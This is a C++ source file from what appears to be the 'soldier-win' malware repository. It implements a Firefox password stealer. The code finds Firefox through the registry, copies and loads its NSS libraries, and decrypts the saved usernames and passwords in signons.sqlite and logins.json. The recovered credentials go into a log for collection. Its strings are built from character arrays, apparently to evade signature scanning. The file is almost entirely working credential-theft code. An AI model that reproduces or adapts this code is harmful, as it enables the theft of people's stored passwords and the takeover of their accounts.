hackedteam/soldier-win

View on GitHub
Soldier/ffox_password.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>

#include "globals.h"
#include "zmem.h"
#include "debug.h"
#include "utils.h"
#include "proto.h"
#include "sqlite.h"
#include "password.h"
#include "ffox_password.h"
#include "firefox_cookies.h"
#include "base64.h"
#include "JSON.h"
#include "JSONValue.h"

NSS_Init_p fpNSS_Init = NULL;
NSS_Shutdown_p fpNSS_Shutdown = NULL;
PL_ArenaFinish_p fpPL_ArenaFinish = NULL;
PR_Cleanup_p fpPR_Cleanup = NULL;
PK11_GetInternalKeySlot_p fpPK11_GetInternalKeySlot = NULL;
PK11_FreeSlot_p fpPK11_FreeSlot = NULL;
PK11SDR_Decrypt_p fpPK11SDR_Decrypt = NULL;

LPWSTR strFFoxPath = NULL;
HMODULE hMSCR, hMSCP, hNSS3;

LPWSTR DecryptString(LPSTR strCryptData)
{
    if (strCryptData[0] == 0x0)
        return FALSE;

    DWORD dwOut;
    LPWSTR strClearDataW = NULL;
    LPBYTE lpBuffer = base64_decode((char*)strCryptData, strlen(strCryptData), (int *)&dwOut);
    PK11SlotInfo *pK11Slot = fpPK11_GetInternalKeySlot();
    if (pK11Slot)
    {
        SECItem pInSecItem, pOutSecItem;;
        pInSecItem.data = lpBuffer;
        pInSecItem.len = dwOut;

        pOutSecItem.data = 0;
        pOutSecItem.len = 0;

        if (fpPK11SDR_Decrypt(&pInSecItem, &pOutSecItem, NULL) == 0)
        {
            LPSTR strClearData = (LPSTR) zalloc(pOutSecItem.len+1);
            memcpy(strClearData, pOutSecItem.data, pOutSecItem.len);

            strClearDataW = UTF8_2_UTF16(strClearData);
            zfree(strClearData);
        }

        fpPK11_FreeSlot(pK11Slot);
    }


    zfree(lpBuffer);
    return strClearDataW;
}

int ParseFFoxSQLPasswords(LPVOID lpReserved, int dwColumns, LPSTR *strValues, LPSTR *strNames)
{
    LPWSTR strResource = NULL; 
    LPWSTR strUser = NULL; // (LPWSTR) zalloc(1024*sizeof(WCHAR));
    LPWSTR strPass = NULL; // (LPWSTR) zalloc(1024*sizeof(WCHAR));

    for (DWORD i=0; i<dwColumns; i++)
    {
        if (!strNames[i])
            continue;

        if (!strcmp(strNames[i], "hostname"))  //FIXME: array
        {
            strResource = (LPWSTR) zalloc(1024*sizeof(WCHAR)); 
            _snwprintf_s(strResource, 1024, _TRUNCATE, L"%S", strValues[i]);
        }
        else if (!strcmp(strNames[i], "encryptedUsername"))  //FIXME: array
            strUser = DecryptString(strValues[i]);
        else if (!strcmp(strNames[i], "encryptedPassword"))  //FIXME: array
            strPass = DecryptString(strValues[i]);
    }

    if (strUser && strPass)
    {
        LPCONTAINER lpContainer = (LPCONTAINER) lpReserved;
        WCHAR strFFox[] = { L'F', L'i', L'r', L'e', L'f', L'o', L'x', L'\0' };
        PasswordLogEntry(strFFox, strResource, strUser, strPass, lpContainer->lpBuffer, lpContainer->dwBuffSize);
    }

    zfree(strResource);
    zfree(strUser);
    zfree(strPass);
    return 0;
}

VOID DumpFFoxSQLPasswords(LPBYTE *lpBuffer, LPDWORD dwBuffSize)
{
    LPSTR strProfilePath = GetFirefoxProfilePathA();
    
    if (!strProfilePath)
        return;

    DWORD dwSize = strlen(strProfilePath)+1024;
    LPSTR strFilePath = (LPSTR) zalloc(dwSize);
    CHAR strFileName[] = { 's', 'i', 'g', 'n', 'o', 'n', 's', '.', 's', 'q', 'l', 'i', 't', 'e', 0x0 };
    _snprintf_s(strFilePath, dwSize, _TRUNCATE, "%s\\%s", strProfilePath, strFileName);

    sqlite3 *lpDb = NULL;
    if (sqlite3_open((const char *)strFilePath, &lpDb) == SQLITE_OK)
    {
        CONTAINER pContainer;
        pContainer.lpBuffer = lpBuffer;
        pContainer.dwBuffSize = dwBuffSize;
#ifdef _DEBUG
        LPSTR strErr;
        if (sqlite3_exec(lpDb, "SELECT * FROM moz_logins;", ParseFFoxSQLPasswords, &pContainer, &strErr) != SQLITE_OK) // FIXME: char array
        {
            OutputDebug(L"[!!] Querying sqlite3 for firefox passwords: %S\n", strErr);
            //__asm int 3;
            zfree(strErr);
        }
#else
        sqlite3_exec(lpDb, "SELECT * FROM moz_logins;", ParseFFoxSQLPasswords, &pContainer, NULL); // FIXME: char array
#endif
        sqlite3_close(lpDb);
    }
    

    zfree(strFilePath);
    zfree(strProfilePath);
}

VOID DumpFFoxJsonPasswords(LPBYTE *lpBuffer, LPDWORD dwBuffSize) 
{
    
    HANDLE hFile, hMap;
    DWORD loginSize = 0;
    CHAR *loginMap, *localLoginMap;
    JSONValue* jValue = NULL;
    JSONArray  jLogins;
    JSONObject jObj, jEntry;

    WCHAR strLogins[]       = { L'l', L'o', L'g', L'i', L'n', L's', L'\0' };
    WCHAR strURL[]          = { L'h', L'o', L's', L't', L'n', L'a', L'm', L'e', L'\0' };
    WCHAR strUser[]         = { L'e', L'n', L'c', L'r', L'y', L'p', L't', L'e', L'd', L'U', L's', L'e', L'r', L'n', L'a', L'm', L'e', L'\0' };
    WCHAR strPass[]         = { L'e', L'n', L'c', L'r', L'y', L'p', L't', L'e', L'd', L'P', L'a', L's', L's', L'w', L'o', L'r', L'd', L'\0' };
    WCHAR strFFox[]         = { L'F', L'i', L'r', L'e', L'f', L'o', L'x', L'\0' };
    
    CHAR tmp_buff[255];
    LPWSTR strUserDecrypted, strPasswordDecrypted;
    WCHAR strUrl[255];

    LPSTR strProfilePath = GetFirefoxProfilePathA();
    CHAR strFileName[] = { 'l', 'o', 'g', 'i', 'n', 's', '.', 'j', 's', 'o', 'n', 0x0 };
    DWORD dwSize = strlen(strProfilePath)+strlen(strFileName) + 2; // terminator + slash
    LPSTR strFilePath = (LPSTR) zalloc(dwSize);
    
    if (!strProfilePath)
        return;
    
    _snprintf_s(strFilePath, dwSize, _TRUNCATE, "%s\\%s", strProfilePath, strFileName);

    /* retrieve file content */
    if ( (hFile = CreateFileA(strFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE )
    {
        zfree(strFilePath);
        zfree(strProfilePath);
        return;
    }

    loginSize = GetFileSize(hFile, NULL);
    if (loginSize == INVALID_FILE_SIZE)
    {
        CloseHandle(hFile);
        zfree(strFilePath);
        zfree(strProfilePath);
        return;
    }
            
    localLoginMap = (CHAR*) calloc(loginSize + 1, sizeof(CHAR) );
    if (localLoginMap == NULL)
    {
        CloseHandle(hFile);
        zfree(strFilePath);
        zfree(strProfilePath);
        return;
    }
                
    if ((hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == NULL)
    {
        zfree(localLoginMap);
        CloseHandle(hFile);
        zfree(strFilePath);
        zfree(strProfilePath);
        return;
    }

    if ((loginMap = (CHAR*) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) == NULL )
    {
        CloseHandle(hMap);
        zfree(localLoginMap);
        CloseHandle(hFile);
        zfree(strFilePath);
        zfree(strProfilePath);
    }

    memcpy_s(localLoginMap, loginSize+1, loginMap, loginSize);
    UnmapViewOfFile(loginMap);
    CloseHandle(hMap);
    CloseHandle(hFile);

    /* we've got file content, parse json */
    jValue = JSON::Parse(localLoginMap);
    if (jValue == NULL)
    {
        zfree(localLoginMap);
        zfree(strFilePath);
        zfree(strProfilePath);
        return;
    }

    if (jValue->IsObject())
    {
        jObj = jValue->AsObject(); // json root

        /* find logins object */
        if (jObj.find(strLogins) != jObj.end() && jObj[strLogins]->IsArray())
        {
            jLogins = jObj[strLogins]->AsArray();

            for (DWORD i=0; i < jLogins.size(); i++)
            {
                if (jLogins[i]->IsObject())
                {
                    jEntry = jLogins[i]->AsObject();

                    if (jEntry.find(strURL)   != jEntry.end() &&
                        jEntry.find(strUser)  != jEntry.end() &&
                        jEntry.find(strPass)  != jEntry.end() &&
                        jEntry[strURL]->IsString()   &&
                        jEntry[strUser]->IsString()  &&
                        jEntry[strPass]->IsString()  )
                    {
                        /* decrypt user, password, Url */
                        _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strUser]->AsString().c_str());
                        strUserDecrypted = DecryptString(tmp_buff);

                        _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strPass]->AsString().c_str());
                        strPasswordDecrypted = DecryptString(tmp_buff);

                        _snwprintf_s(strUrl, 255, _TRUNCATE, L"%s", jEntry[strURL]->AsString().c_str());

                        /* log */
                        PasswordLogEntry(strFFox,  strUrl, strUserDecrypted, strPasswordDecrypted, lpBuffer, dwBuffSize);

#ifdef _DEBUG
                        OutputDebug(L"[*] %S> username: %s password: %s Url: %s\n", __FUNCTION__, strUserDecrypted, strPasswordDecrypted, jEntry[strURL]->AsString().c_str() );
#endif
                        
                        zfree(strUserDecrypted);
                        zfree(strPasswordDecrypted);

                    } /* if (jEntry */
                } /* if (jLogins */
            } /* for */
        } /* jObj.find(strLogins) */
    }
    
    /* cleanup */
    delete jValue;
    zfree(localLoginMap);
    zfree(strFilePath);
    zfree(strProfilePath);
}

BOOL GetFFoxLibPath()
{
    HKEY hKey;
    DWORD dwType;
    LPWSTR strLongPath = NULL;
    WCHAR strRegKey[] = { L'S', L'O', L'F', L'T', L'W', L'A', L'R', L'E', L'\\', L'C', L'l', L'i', L'e', L'n', L't', L's', L'\\', L'S', L't', L'a', L'r', L't', L'M', L'e', L'n', L'u', L'I', L'n', L't', L'e', L'r', L'n', L'e', L't', L'\\', L'f', L'i', L'r', L'e', L'f', L'o', L'x', L'.', L'e', L'x', L'e', L'\\', L's', L'h', L'e', L'l', L'l', L'\\', L'o', L'p', L'e', L'n', L'\\', L'c', L'o', L'm', L'm', L'a', L'n', L'd', L'\0' };

    if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, strRegKey, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return FALSE;

    DWORD dwSize = (MAX_FILE_PATH+1);
    LPWSTR strPath = (LPWSTR) zalloc(dwSize+sizeof(WCHAR));
    if (RegQueryValueEx(hKey, NULL, 0, &dwType, (LPBYTE)strPath, &dwSize) == ERROR_SUCCESS)
    {
        if (dwSize > 1 || strPath[0] != L'\0')
        {
            if (wcsrchr(strPath, L'\\') != NULL)
                (wcsrchr(strPath, L'\\'))[1] = 0x0;

            strLongPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
            _snwprintf_s(strLongPath, MAX_FILE_PATH, _TRUNCATE, L"%s", (*strPath == L'"') ? strPath+1 : strPath);
        }
    }
    zfree(strPath);
    RegCloseKey(hKey);

    if (strLongPath == NULL)
    {
        zfree(strPath);
        return FALSE;
    }

    BOOL bRet = FALSE;
    strFFoxPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
    if (strLongPath && GetShortPathName(strLongPath, strFFoxPath, MAX_FILE_PATH))
        if (PathFileExists(strFFoxPath))
            if (GetShortPathName(strLongPath, strFFoxPath, MAX_FILE_PATH))
                bRet = TRUE;

    if (!bRet)
    {
        zfree(strFFoxPath);
        strFFoxPath = NULL;
    }

    zfree(strLongPath);    
    return TRUE;
}

BOOL FFoxPasswordResolveApi() // prende come presupposto che siamo gia' nel path di ffox
{    
    fpNSS_Init = (NSS_Init_p) GetProcAddress(hNSS3, "NSS_Init");  //FIXME: array
    fpNSS_Shutdown = (NSS_Shutdown_p) GetProcAddress(hNSS3, "NSS_Shutdown");  //FIXME: array
    fpPL_ArenaFinish = (PL_ArenaFinish_p) GetProcAddress(hNSS3, "PL_ArenaFinish");  //FIXME: array
    fpPR_Cleanup = (PR_Cleanup_p) GetProcAddress(hNSS3, "PR_Cleanup");  //FIXME: array
    fpPK11_GetInternalKeySlot = (PK11_GetInternalKeySlot_p) GetProcAddress(hNSS3, "PK11_GetInternalKeySlot");  //FIXME: array
    fpPK11_FreeSlot = (PK11_FreeSlot_p) GetProcAddress(hNSS3, "PK11_FreeSlot");  //FIXME: array
    fpPK11SDR_Decrypt = (PK11SDR_Decrypt_p) GetProcAddress(hNSS3, "PK11SDR_Decrypt");  //FIXME: array

    if (!fpNSS_Init || !fpNSS_Shutdown || !fpPL_ArenaFinish || !fpPR_Cleanup || !fpPK11_GetInternalKeySlot || !fpPK11_FreeSlot || !fpPK11SDR_Decrypt)
        return FALSE;

    return TRUE;
}

BOOL CopyDll(LPWSTR strSrcFullPath, LPWSTR strDstPath, LPWSTR strDstFileName, LPWSTR *strOutFileName)
{
    BOOL bRet = FALSE;
    LPWSTR strTmp = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
    LPWSTR strDstFullPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
    wcscpy_s(strTmp, MAX_FILE_PATH, strDstPath);
    
    GetShortPathName(strTmp, strDstFullPath, MAX_FILE_PATH);
    PathAppend(strDstFullPath, strDstFileName);
    zfree(strTmp);

    //check if the source file exists
    if(!PathFileExists(strSrcFullPath))
    {
        zfree(strDstFullPath);
        strDstFullPath = NULL;
        return FALSE;
    }

    HRESULT hr = ComCopyFile(strSrcFullPath, strDstPath, strDstFileName);
    if (!SUCCEEDED(hr) || !PathFileExists(strDstFullPath))
        BatchCopyFile(strSrcFullPath, strDstFullPath);

    if (!PathFileExists(strDstFullPath))
    {
        zfree(strDstFullPath);
        strDstFullPath = NULL;
    }
    else
        bRet = TRUE;

    *strOutFileName = strDstFullPath;
    return bRet;
}

//search a file (the lpwspath must termitate with a \ char)
LPWSTR GetMSVCFilePath(LPWSTR lpwsPath, LPWSTR lpwsFile)
{
    WIN32_FIND_DATA FindFileData;
    HANDLE    hFile = NULL;
    LPWSTR    lpwsFoundFile = NULL, lpwsCompletePath = NULL;
    DWORD    dwLen = 0;

    if((lpwsPath == NULL) || (lpwsFile == NULL))
        return NULL;

    if((lpwsCompletePath = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))) == NULL)
        return NULL;
    swprintf_s(lpwsCompletePath, MAX_PATH, L"%s%s", lpwsPath, lpwsFile);

    //search for the specified file
    if((hFile = FindFirstFile(lpwsCompletePath, &FindFileData)) != INVALID_HANDLE_VALUE)
    {    
        if((lpwsFoundFile = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))) != NULL)
        {            
            swprintf_s(lpwsFoundFile, MAX_PATH, L"%s", FindFileData.cFileName);            
        }

        FindClose(hFile);
    }

    zfree(lpwsCompletePath);

    return lpwsFoundFile;
}

BOOL CopyAndLoadFFoxLibrary()
{
    BOOL bRet = FALSE;
    LPWSTR strLibMoz;
    WCHAR strMozGlue[] = { L'm', L'o', L'z', L'g', L'l', L'u', L'e', L'.', L'd', L'l', L'l', 0x0 };
    //WCHAR strMSVCR[] = { L'm', L's', L'v', L'c', L'r', L'1', L'0', L'0', L'.', L'd', L'l', L'l', L'\0' };
    //WCHAR strMSVCP[] = { L'm', L's', L'v', L'c', L'p', L'1', L'0', L'0', L'.', L'd', L'l', L'l', L'\0' };
    WCHAR strMSVCR[] = { L'm', L's', L'v', L'c', L'r', L'*', L'.', L'd', L'l', L'l', L'\0' };
    WCHAR strMSVCP[] = { L'm', L's', L'v', L'c', L'p', L'*', L'.', L'd', L'l', L'l', L'\0' };
    WCHAR strNSS3[] = { L'n', L's', L's', L'3', L'.', L'd', L'l', L'l', L'\0' };

    LPWSTR strTempPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
    LPWSTR strFullPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
    GetTempPath(MAX_FILE_PATH, strTempPath);

    LPWSTR strLibMSVCR, strLibMSVCP;

    LPWSTR strMSVCRLib = GetMSVCFilePath(strFFoxPath, strMSVCR);
    LPWSTR strMSVCPLib = GetMSVCFilePath(strFFoxPath, strMSVCP);
    if((strMSVCRLib == NULL) || (strMSVCPLib == NULL))
    {
        zfree(strTempPath);
        zfree(strFullPath);
        zfree(strMSVCRLib);
        zfree(strMSVCPLib);
        return FALSE;
    }

    wcscpy_s(strFullPath, MAX_FILE_PATH, strFFoxPath);
    wcscat_s(strFullPath, MAX_FILE_PATH, strMSVCRLib);

    if (CopyDll(strFullPath, strTempPath, strMSVCRLib, &strLibMSVCR))
    {
        zfree(strMSVCRLib);
        hMSCR = LoadLibrary(strLibMSVCR);
        zfree(strLibMSVCR);
        if (hMSCR)
        {
            wcscpy_s(strFullPath, MAX_FILE_PATH, strFFoxPath);
            wcscat_s(strFullPath, MAX_FILE_PATH, strMSVCPLib);

            if (CopyDll(strFullPath, strTempPath, strMSVCPLib, &strLibMSVCP))
            {
                zfree(strMSVCPLib);
                hMSCP = LoadLibrary(strLibMSVCP);
                zfree(strLibMSVCP);
                if (hMSCP)
                {
                    wcscpy_s(strFullPath, MAX_FILE_PATH, strFFoxPath);
                    wcscat_s(strFullPath, MAX_FILE_PATH, strMozGlue);
                    
                    if (CopyDll(strFullPath, strTempPath, strMozGlue, &strLibMoz))
                    {
                        if (LoadLibrary(strLibMoz))
                        {
                            zfree(strLibMoz);
                            wcscpy_s(strFullPath, MAX_FILE_PATH, strFFoxPath);
                            wcscat_s(strFullPath, MAX_FILE_PATH, strNSS3);
                            hNSS3 = LoadLibrary(strFullPath);

                            if (hNSS3)
                                if (FFoxPasswordResolveApi())
                                    bRet = TRUE;
                        }
                    }
                }
            }
        }
    }

    if (bRet == TRUE)
    {
        LPSTR strProfilePath = GetFirefoxProfilePathA();
        DWORD dwRet = fpNSS_Init(strProfilePath);
        if (dwRet != 0)
            bRet = FALSE;
        
        zfree(strProfilePath);
    }

    zfree(strTempPath);
    zfree(strFullPath);
    return bRet;
}

VOID UnloadFirefoxLibs()
{
    if (hNSS3 && fpNSS_Shutdown && fpPL_ArenaFinish && fpPR_Cleanup)
    {
        fpNSS_Shutdown();
        fpPL_ArenaFinish();
        fpPR_Cleanup();
        
        FreeLibrary(hNSS3);
    }
}

VOID DumpFFoxPasswords(LPBYTE *lpBuffer, LPDWORD dwBuffSize)
{
    if (GetFFoxLibPath())
    {
        if (CopyAndLoadFFoxLibrary())
        {
            DumpFFoxSQLPasswords(lpBuffer, dwBuffSize);    
            DumpFFoxJsonPasswords(lpBuffer, dwBuffSize);    
            UnloadFirefoxLibs();
        }
        zfree(strFFoxPath);
    }
}